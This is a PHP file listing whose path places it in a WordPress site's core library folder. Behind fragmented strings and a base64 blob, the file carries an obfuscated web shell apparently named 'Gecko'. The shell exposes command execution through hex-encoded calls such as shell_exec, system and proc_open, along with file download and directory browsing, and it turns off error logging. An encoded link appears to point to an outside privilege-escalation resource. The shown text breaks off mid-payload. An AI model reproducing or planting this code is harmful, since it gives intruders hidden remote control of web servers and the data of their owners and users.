File: /home/theadvocacyservicecenter/public_html/wp-includes/SimplePie/src/Decode/wp/OnhGxGb.php
<?php ini_set('memory_limit','-1');/*9x50qs12dfsasdfadfs*/$f="ba";/*9x50qs12dfsasdfadfs*/$g="daszxxx";/*9x50qs12dfsasdfadfs*/$h="s";/*9x50qs12dfsasdfadfs*/$j="123";$k="llz1";$l="e";$m="ccccccca";/*9x50qs12dfsasdfadfs*/$n="64";/*9x50qs12dfsasdfadfs*/$o=$f.$h.$l.$n."_d".$l."cod".$l;/*9x50qs12dfsasdfadfs*/$p="PD9waHAKc2Vzc2lvbl9zdGFydCgpOwokQXJyYXkgPSBbCiAgICAnNzM2ODY1NmM2YzVmNjU3ODY1NjMnLAogICAgJzY1Nzg2NTYzJywKICAgICc3MDYxNzM3Mzc0Njg3Mjc1JywKICAgICc3Mzc5NzM3NDY1NmQnLAogICAgJzcwNzI2ZjYzNWY2ZjcwNjU2ZScsCiAgICAnNzA2ZjcwNjU2ZScsCiAgICAnNzA2MzZjNmY3MzY1JywKICAgICc3MjY1NzQ3NTcyNmUnLAogICAgJzczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywKICAgICc2NzY1NzQ2Mzc3NjQnLCAvLyBnIGUgdCBjIHcgZCA9PiA5IAogICAgJzYzNjg2NDY5NzInLCAvLyBjIGggZCBpIHIgPT4gMTAKICAgICc3MDY4NzA1Zjc1NmU2MTZkNjUnLCAvLyBwIGggcCBfIHUgbiBhIG0gZSA9PiAxMQogICAgJzY5NzM3MzY1NzQnLAogICAgJzY2NzU2ZTYzNzQ2OTZmNmU1ZjY1Nzg2OTczNzQ3MycsCiAgICAnNWY2ZDYxNjQ1ZjYzNmQ2NCcsCiAgICAnMjQ1ZjUzNDU1MjU2NDU1MjViMjc1MzQ1NTI1NjQ1NTI1ZjRlNDE0ZDQ1Mjc1ZCcsCiAgICAnNjc2YzZmNjInLCAvLyBnIGwgbyBiID0+IDE2CiAgICAnNjk3MzVmNjY2OTZjNjUnLCAvLyBpIHMgXyBmIGkgbCBlID0+IDE3CiAgICAnNjk3MzVmNjQ2OTcyJywgLy8gaSBzIF8gZCBpIHIgPT4gMTgKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywgLy8gaSBzIF8gdyByIGkgdCBlIGEgYiBsIGUgPT4gMTkKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgLy8gaSBzIF8gciBlIGEgZCBiIGwgZSA9PiAyMAogICAgJzY2Njk2YzY1NzM2OTdhNjUnLCAvLyBmIGkgbCBlIF8gcyBpIHogZSA9PiAyMQogICAgJzY3NjU3NDVmNjM3NTcyNzI2NTZlNzQ1Zjc1NzM2NTcyJywgLy8gdXNlciA9PiAyMgogICAgJzUzNDU1MjU2NDU1MjVmNTM0ZjQ2NTQ1NzQxNTI0NScsIC8vIFNlcnZlciBTb2Z0d2FyZSA9PiAyMwogICAgJzY2Njk2YzY1NmQ3NDY5NmQ2NScsIC8vIGYgaSBsIGUgbSB0IGkgbSBlID0+IDI0CiAgICAnNzQ2Zjc1NjM2OCcsIC8vIHQgbyB1IGMgaCA9PiAyNQogICAgJzZkNmI2NDY5NzInLCAvLyBtIGsgZCBpIHIgPT4gMjYKICAgICc2NjY5NmM2NTVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgLy8gZiBpIGwgZSBnIGUgdCBjIG8gbiB0IGUgbiB0IHMgPT4gMjcKICAgICc2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgLy8gZiBpIGwgZSBwIHUgdCA9PiAyOAogICAgJzcyNmQ2NDY5NzInLCAvLyByIG0gZCBpIHIgPT4gMjkKICAgICc3NTZlNmM2OTZlNmInLCAvLyB1IG4gbCBpIG4gayA9PiAzMAogICAgJzY2Njk2YzY1JywgLy8gZiBpIGwgZSA9PiAzMQogICAgJzZkNzU2Yzc0Njk3MDYxNzI3NDJmNjY2ZjcyNmQyZDY0NjE3NDYxJywgLy8gbSB1IGwgdCBpIHAgYSByIHQgLyBmIG8gciBtIGQgYSB0IGEgPT4gMzIKICAgICc0NDRmNDM1NTRkNDU0ZTU0NWY1MjRmNGY1NCcsIC8vIHIgbyBvIHQgZCBvIGMgPT4gMzMgCiAgICAnNjg3NDc0NzA3MzNhMmYyZjc3Nzc3NzJlNjg2MTc4NmY3MjY0Njk3MzZjNjE2ZTY0MmU3NDY1NjM2ODJmNmM2ZjYzNjE2YzcyNmY2Zjc0MmY3MDc3NmU2YjY5NzQnIC8vIFNvdXJjZSBtYXliZT8gPT4gMzQKXTsKJGhpdHVuZ19hcnJheSA9IGNvdW50KCRBcnJheSk7CmZvciAoJGkgPSAwOyAkaSA8ICRoaXR1bmdfYXJyYXk7ICRpKyspIHsKICAgICRmdW5nc2lbXSA9IHVuaGV4KCRBcnJheVskaV0pOwp9CgppZiAoIWVtcHR5KCRfR0VUWydkb3dubG9hZCddKSkgewogICAgJG5hbWVOeWFmaWxlID0gYmFzZW5hbWUoJF9HRVRbJ2Rvd25sb2FkJ10pOwogICAgJHBhdGhGaWxlbnlhID0gJGZ1bmdzaVs5XSgpIC4gIi8iIC4gJG5hbWVOeWFmaWxlOwogICAgaWYgKCFlbXB0eSgkbmFtZU55YWZpbGUpICYmIGZpbGVfZXhpc3RzKCRwYXRoRmlsZW55YSkpIHsKCiAgICAgICAgLy8gRGVmaW5lIEhlYWRlcnMKICAgICAgICBoZWFkZXIoJ0NhY2hlLWNvbnRyb2w6IHB1YmxpYycpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EZXNjcmlwdGlvbjogRmlsZSBUcmFuc2ZlcicpOwogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSInIC4gJG5hbWVOeWFmaWxlIC4gJyInKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJpbmFyeScpOwogICAgICAgIC8qKlpITm5jMlJtWjJWeWRITmtabWR6WkdabmMyUm1aM05rWm1kelpHWm4qKi8KICAgICAgICByZWFkZmlsZSgkcGF0aEZpbGVueWEpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCgo/PgoKPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPgogICAgPHRpdGxlPkdlY2tvIFsgPD89ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsgPz4gXTwvdGl0bGU+CiAgICA8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9ImxvZ28ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPHNjcmlwdCBzcmM9J2h0dHBzOi8va2l0LmZvbnRhd2Vzb21lLmNvbS8wNTdiOWI1MTBjLmpzJyBjcm9zc29yaWdpbj0nYW5vbnltb3VzJz48L3NjcmlwdD4KICAgIDxzdHlsZT4KICAgICAgICBAaW1wb3J0IHVybCgnaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1QcmVzcytTdGFydCsyUCZkaXNwbGF5PXN3YXAnKTsKCiAgICAgICAgYm9keSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBtb25vc3BhY2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMxQTFBMUQ7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIGEgewogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIHRyIHRoIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICB9CgogICAgICAgIHRyIHRkOm50aC1jaGlsZCgzKSB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICB9CgogICAgICAgIHRyIHRkIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICB0aGVhZCB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIHVsIHsKICAgICAgICAgICAgbGlzdC1zdHlsZTogbm9uZTsKICAgICAgICB9CgogICAgICAgIHVsIGxpIHsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICBoMSB7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnTmFudW0gQnJ1c2ggU2NyaXB0JywgY3Vyc2l2ZTsKCiAgICAgICAgfQoKICAgICAgICB0Ym9keSB0cjpudGgtY2hpbGQoZXZlbikgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjkyOTJlOwogICAgICAgIH0KCiAgICAgICAgLnB3ZCB7CiAgICAgICAgICAgIHBhZGRpbmc6IDVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzI5MjkyZTsKICAgICAgICB9CgogICAgICAgIGZvcm0gbGkgewogICAgICAgICAgICBtYXJnaW46IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAtNXB4OwogICAgICAgIH0KCiAgICAgICAgZm9ybSBsaSBpbnB1dFt0eXBlPSJmaWxlIl0gewogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZDsKICAgICAgICAgICAgcGFkZGluZzogMy41cHggNHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICB9CgogICAgICAgIC51cGxvYWQtc3VibWl0IHsKICAgICAgICAgICAgZmxvYXQ6IGxlZnQ7CiAgICAgICAgICAgIHBhZGRpbmc6IDYuNHB4IDUwcHg7CiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMTBweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICMzMDMwMzg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CgogICAgICAgIC51cGxvYWQtc3VibWl0OmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Q1ZGJkNjsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmxpbmstc2hlbGw6aG92ZXI6OmFmdGVyIHsKICAgICAgICAgICAgY29udGVudDogIiI7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCB3aGl0ZTsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IC03cHg7CiAgICAgICAgICAgIGFuaW1hdGlvbi1uYW1lOiBsaW5rLXNoZWxsOwogICAgICAgICAgICBhbmltYXRpb24tZHVyYXRpb246IDAuNnM7CiAgICAgICAgfQoKICAgICAgICBAa2V5ZnJhbWVzIGxpbmstc2hlbGwgewogICAgICAgICAgICBmcm9tIHsKICAgICAgICAgICAgICAgIHdpZHRoOiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudSBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDEzcHggN3B4OwogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudSBsaSBhIHsKICAgICAgICAgICAgcGFkZGluZzogN3B4IDMwcHg7CiAgICAgICAgICAgIGNvbG9yOiAjMWU5ZmM3OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICMzMDMwMzg7CiAgICAgICAgfQoKICAgICAgICAudG9vbC1tZW51IGxpIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDVkYmQ2OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDEuNXB4IDEuNXB4ICNkNWRiZDY7CiAgICAgICAgfQoKICAgICAgICAubGlzdC10b29sIHsKICAgICAgICAgICAgcGFkZGluZzogMXB4OwogICAgICAgIH0KCiAgICAgICAgLnNldHRpbmdzIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC0yMDBweDsKCiAgICAgICAgfQoKICAgICAgICAuc2V0dGluZ3Mgc2VsZWN0IHsKICAgICAgICAgICAgcGFkZGluZzogNS41cHggMzVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzMwMzAzODsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDRweDsKICAgICAgICB9CgogICAgICAgIC5zZWxlY3Qtc3VibWl0IHsKICAgICAgICAgICAgcGFkZGluZzogNi41cHggNTBweDsKICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMzAzMDM4OwogICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNHB4OwogICAgICAgIH0KCiAgICAgICAgLnNlbGVjdC1zdWJtaXQ6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDVkYmQ2OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgfQoKICAgICAgICAuYWN0aW9uLWdlY2tvOmhvdmVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI2Q1ZGJkNjsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLnRvb2wtbWVudS1oZWFkZXIgewogICAgICAgICAgICBtYXJnaW46IC0xM3B4IDBweDsKICAgICAgICB9CgogICAgICAgIC5jcmVhdGUgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDAsIDAsIDAsIDAuMyk7CiAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgaGVpZ2h0OiAxMDB2aDsKICAgICAgICAgICAgd2lkdGg6IDEwMHZ3OwogICAgICAgICAgICBhbmltYXRpb246IG1vZGFsLWJveDsKICAgICAgICAgICAgYW5pbWF0aW9uLWR1cmF0aW9uOiAwLjVzOwogICAgICAgICAgICBhbmltYXRpb24tZmlsbC1tb2RlOiBib3RoOwoKICAgICAgICB9CgogICAgICAgIEBrZXlmcmFtZXMgbW9kYWwtYm94IHsKICAgICAgICAgICAgZnJvbSB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAwOwogICAgICAgICAgICB9CgogICAgICAgICAgICB0byB7CiAgICAgICAgICAgICAgICBvcGFjaXR5OiAxOwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAubW9kYWwgewogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICB3aWR0aDogNjAwcHg7CiAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTsKICAgICAgICAgICAgcGFkZGluZzogMThweDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCBhIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzI5MjkyZTsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCB1bCB7CiAgICAgICAgICAgIGZsb2F0OiByaWdodDsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCB1bCBsaSB7CiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZTsKICAgICAgICB9CgogICAgICAgIC5idG4tbW9kYWwgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDNweDsKICAgICAgICAgICAgcGFkZGluZzogOHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICB9CgogICAgICAgIC5tb2RhbCBpbnB1dFt0eXBlPSJ0ZXh0Il0gewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmZ3LWJvbGQgewogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICB9CgogICAgICAgIC5maWxlLXNpemUgewogICAgICAgICAgICBjb2xvcjogIzFlOWZjNzsKICAgICAgICB9CgogICAgICAgIHRoIHsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgfQoKICAgICAgICAuZmEtZm9sZGVyIHsKICAgICAgICAgICAgY29sb3I6IG9yYW5nZTsKICAgICAgICB9CgogICAgICAgIC5mYS1maWxlIHsKICAgICAgICAgICAgY29sb3I6ICMxZTlmYzc7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtY29udGVudCB7CiAgICAgICAgICAgIHotaW5kZXg6IDEwOwogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgYW5pbWF0aW9uOiBtb2RhbC1ib3g7CiAgICAgICAgICAgIGFuaW1hdGlvbi1kdXJhdGlvbjogMC41czsKICAgICAgICAgICAgYW5pbWF0aW9uLWZpbGwtbW9kZTogYm90aDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtYm9keSB7CiAgICAgICAgICAgIG1hcmdpbjogYXV0bzsKICAgICAgICAgICAgbWFyZ2luLXRvcDogNjBweDsKICAgICAgICAgICAgei1pbmRleDogMjA7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHdoaXRlOwogICAgICAgICAgICBoZWlnaHQ6IDY1dmg7CiAgICAgICAgICAgIGNvbG9yOiBibGFjazsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgIH0KCiAgICAgICAgLnRlcm1pbmFsLWJvZHkgaGVhZGVyIHsKICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgICAgICBwYWRkaW5nOiA0cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxQTFBMUQ7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1ib2R5IGhlYWRlciBhIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlOwogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7CiAgICAgICAgICAgIHotaW5kZXg6IDExOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IC00NXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtYm9keSBoZWFkZXIgYTpob3ZlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMyOTI5MmU7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgIzMwMzAzODsKICAgICAgICB9CgogICAgICAgIC5vdXRwdXQtdGVybWluYWwgewogICAgICAgICAgICB3aWR0aDogOTkuNSU7CiAgICAgICAgICAgIGhlaWdodDogMTAwJTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICB9CgogICAgICAgIC50ZXJtaW5hbC1pbnB1dCB7CiAgICAgICAgICAgIHdpZHRoOiA5MCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDZweDsKICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDFweDsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQgYmxhY2s7CiAgICAgICAgfQoKICAgICAgICAudGVybWluYWwtc3VibWl0IHsKICAgICAgICAgICAgbWFyZ2luOiAyLjVweDsKICAgICAgICAgICAgcGFkZGluZzogNy41cHggMjVweDsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgfQoKICAgICAgICAucHdkLWJvZHkgewogICAgICAgICAgICBwYWRkaW5nOiAxNXB4IDhweDsKICAgICAgICAgICAgZm9udC13ZWlnaHQ6IGJvbGQ7CiAgICAgICAgfQoKCiAgICAgICAgLmJvcmRlciB7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGJsYWNrOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAycHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1ib3ggewogICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBoZWlnaHQ6IDEwMHZoOwogICAgICAgICAgICB0b3A6IDA7CiAgICAgICAgICAgIGJvdHRvbTogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMCwgMCwgMCwgMC41KTsKICAgICAgICAgICAgei1pbmRleDogMTsKICAgICAgICB9CgogICAgICAgIC5maWxlLWNvbnRlbnQgewogICAgICAgICAgICB3aWR0aDogOTAlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgaGVpZ2h0OiA3MCU7CiAgICAgICAgICAgIG1hcmdpbjogYXV0bzsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMjBweDsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgIH0KCiAgICAgICAgLmZpbGUtY29udGVudCB0ZXh0YXJlYSB7CiAgICAgICAgICAgIHdpZHRoOiA5OS41JTsKICAgICAgICAgICAgaGVpZ2h0OiA3MHZoOwogICAgICAgIH0KCiAgICAgICAgLmZpbGUtaGVhZGVyIHsKICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzFBMUExRDsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICB9CgogICAgICAgIC5maWxlLWhlYWRlciB1bCB7CiAgICAgICAgICAgIGxpc3Qtc3R5bGU6IG5vbmU7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGkgewogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7CiAgICAgICAgICAgIG1hcmdpbjogMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIHsKICAgICAgICAgICAgZmxvYXQ6IHJpZ2h0OwogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC01cHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIGEgewogICAgICAgICAgICBjb2xvcjogYmxhY2s7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogbGFyZ2U7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6IHdoaXRlOwogICAgICAgICAgICB6LWluZGV4OiAxMTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDMwcHg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGk6bnRoLWNoaWxkKDMpIGE6aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMjkyOTJlOwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMDMwMzg7CiAgICAgICAgfQoKICAgICAgICAuZmlsZS1oZWFkZXIgbGkgYnV0dG9uIHsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiBib2xkOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiB3aGl0ZTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB3aGl0ZTsKICAgICAgICAgICAgcGFkZGluZzogMTBweCAxNXB4OwogICAgICAgICAgICBtYXJnaW46IC0xMHB4IC0xNXB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgfQoKICAgICAgICAubGluay1yZW5hbWUgewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHdoaXRlOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgY29sb3I6IGJsYWNrOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgICAgIG1hcmdpbjogLTEwcHggLTE1cHg7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8P3BocApAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwpAaW5pX3NldCgnZXJyb3JfbG9nJywgTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgoKZnVuY3Rpb24gUmVkaXJlY3QoJHVybCwgJHBlcm1hbmVudCA9IGZhbHNlKQp7CiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJHBlcm1hbmVudCA/IDMwMSA6IDMwMik7CgogICAgZXhpdCgpOwp9CgoKCmlmIChpc3NldCgkX0dFVFsnZGlyJ10pKSB7CiAgICAkY2RpciA9IHVuaGV4KCRfR0VUWydkaXInXSk7CiAgICAkZnVuZ3NpWzEwXSgkY2Rpcik7Cn0gZWxzZSB7CiAgICAkY2RpciA9ICRmdW5nc2lbOV0oKTsKfQokZ2V0X2N3ZCA9ICRmdW